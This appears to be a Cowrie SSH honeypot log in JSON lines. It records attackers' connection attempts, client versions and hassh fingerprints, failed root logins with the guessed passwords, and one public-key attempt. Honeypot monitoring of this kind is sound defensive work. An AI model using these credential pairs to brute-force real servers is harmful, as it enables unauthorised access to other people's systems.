{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:31:16.739653Z","src_ip":"36.95.194.51","session":"cb1ff2303edd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cisco@123","message":"login attempt [root/cisco@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:31:16.971550Z","src_ip":"200.108.174.4","session":"df401092ed73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:31:17.508712Z","src_ip":"144.91.86.102","session":"c6c3afb42f8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1a2b3c4d5e","message":"login attempt [root/1a2b3c4d5e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:31:17.917831Z","src_ip":"36.95.194.51","session":"cb1ff2303edd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:31:18.120392Z","src_ip":"200.108.174.4","session":"df401092ed73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:31:19.208537Z","src_ip":"36.95.194.51","session":"cb1ff2303edd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.165.56.242","src_port":50762,"dst_ip":"159.203.135.109","dst_port":22,"session":"71f7c8c3f37b","protocol":"ssh","message":"New connection: 46.165.56.242:50762 (159.203.135.109:22) [session: 71f7c8c3f37b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:31:25.638120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:31:25.646199Z","src_ip":"46.165.56.242","session":"71f7c8c3f37b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:31:26.338965Z","src_ip":"46.165.56.242","session":"71f7c8c3f37b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testtest","message":"login attempt [root/testtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:31:27.420648Z","src_ip":"46.165.56.242","session":"71f7c8c3f37b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:31:28.583280Z","src_ip":"46.165.56.242","session":"71f7c8c3f37b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:32:10.158396Z","src_ip":"46.165.56.242","session":"b459f2756584","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.165.56.242","src_port":43788,"dst_ip":"159.203.135.109","dst_port":22,"session":"09cccd4a320d","protocol":"ssh","message":"New connection: 46.165.56.242:43788 (159.203.135.109:22) [session: 09cccd4a320d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:32:33.781989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:32:33.787024Z","src_ip":"46.165.56.242","session":"09cccd4a320d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:32:33.938255Z","src_ip":"46.165.56.242","session":"09cccd4a320d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"odoo11","message":"login attempt [root/odoo11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:32:34.574474Z","src_ip":"46.165.56.242","session":"09cccd4a320d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":47420,"dst_ip":"159.203.135.109","dst_port":22,"session":"08200f6db603","protocol":"ssh","message":"New connection: 138.99.80.102:47420 (159.203.135.109:22) [session: 08200f6db603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:32:35.260771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:32:35.265812Z","src_ip":"138.99.80.102","session":"08200f6db603","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:32:35.375337Z","src_ip":"138.99.80.102","session":"08200f6db603","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:32:35.730605Z","src_ip":"46.165.56.242","session":"09cccd4a320d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:32:35.834103Z","src_ip":"138.99.80.102","session":"08200f6db603","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:32:36.942799Z","src_ip":"138.99.80.102","session":"08200f6db603","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.86.102","src_port":51562,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6e09a1588d9","protocol":"ssh","message":"New connection: 144.91.86.102:51562 (10.17.0.5:22) [session: f6e09a1588d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:32:43.730752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:32:43.735054Z","src_ip":"144.91.86.102","session":"f6e09a1588d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:32:43.827576Z","src_ip":"144.91.86.102","session":"f6e09a1588d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"banban","message":"login attempt [root/banban] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:32:44.245476Z","src_ip":"144.91.86.102","session":"f6e09a1588d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:32:45.346081Z","src_ip":"144.91.86.102","session":"f6e09a1588d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.95.194.51","src_port":58372,"dst_ip":"159.203.135.109","dst_port":22,"session":"54d0535e6f9c","protocol":"ssh","message":"New connection: 36.95.194.51:58372 (159.203.135.109:22) [session: 54d0535e6f9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:32:50.806239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:32:50.810658Z","src_ip":"36.95.194.51","session":"54d0535e6f9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:32:51.086023Z","src_ip":"36.95.194.51","session":"54d0535e6f9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stupid","message":"login attempt [root/stupid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:32:52.222111Z","src_ip":"36.95.194.51","session":"54d0535e6f9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:32:53.500989Z","src_ip":"36.95.194.51","session":"54d0535e6f9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.108.174.4","src_port":42996,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2af7822ef58","protocol":"ssh","message":"New connection: 200.108.174.4:42996 (159.203.135.109:22) [session: b2af7822ef58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:32:59.726219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:32:59.730745Z","src_ip":"200.108.174.4","session":"b2af7822ef58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:32:59.889778Z","src_ip":"200.108.174.4","session":"b2af7822ef58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"warchief","message":"login attempt [root/warchief] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:33:00.558639Z","src_ip":"200.108.174.4","session":"b2af7822ef58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.159.104.219","src_port":47110,"dst_ip":"10.17.0.5","dst_port":22,"session":"415ca2e374a3","protocol":"ssh","message":"New connection: 51.159.104.219:47110 (10.17.0.5:22) [session: 415ca2e374a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:33:01.329028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:33:01.334256Z","src_ip":"51.159.104.219","session":"415ca2e374a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:33:01.424112Z","src_ip":"51.159.104.219","session":"415ca2e374a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:33:01.721856Z","src_ip":"200.108.174.4","session":"b2af7822ef58","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"57:cc:3f:81:4d:fe:b4:b0:bb:f5:7b:bc:dd:7d:72:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCu8TsJ8CMWPWs29APBM2xsUlpaCHUwZCCxnoQdsCYYY/nA2pDVV9kEExOSO3x60NMvq5O93TMqMPfmGw89fKC6Fo5kKgwZN1yFK47z8t46h5g8RjVApt1ErZPmZBQI02liEt+WvrYg/oVQA/T+Zcy1mI/H8GzPY0TjBFelQIr0EaKGC/8ZLCio+8GMwXZdAjRrcoQ/LAGaAtqz2uE+GApTQ09Ih2MmFa6tCl+zq2kOCl0FL2Fgzvy8KBRRejoLKohGBV/XjZsSMq9nceOBL9efuDCMzwe+Nrv+8n2qEfZtKm8MemqN+lv7AvRJKW7ZQ3ZwDGD6+CugS98lkGS01rw7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 57:cc:3f:81:4d:fe:b4:b0:bb:f5:7b:bc:dd:7d:72:d8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:33:01.827580Z","src_ip":"51.159.104.219","session":"415ca2e374a3","protocol":"ssh"}
